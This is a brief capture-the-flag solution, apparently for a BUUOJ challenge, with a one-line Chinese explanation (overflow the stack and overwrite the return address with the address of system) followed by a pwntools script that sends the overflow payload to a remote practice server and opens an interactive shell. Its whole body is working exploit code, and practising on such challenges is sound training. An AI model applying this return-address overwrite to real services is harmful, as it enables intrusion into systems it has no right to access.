栈溢出,然后覆盖返回地址为system的地址。
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
r=remote('node3.buuoj.cn',25805)
#elf=ELF('./')
system = 0x400596
p = flat(['a'*0x80, 'b'*8, system])
r.sendline(p)
r.interactive()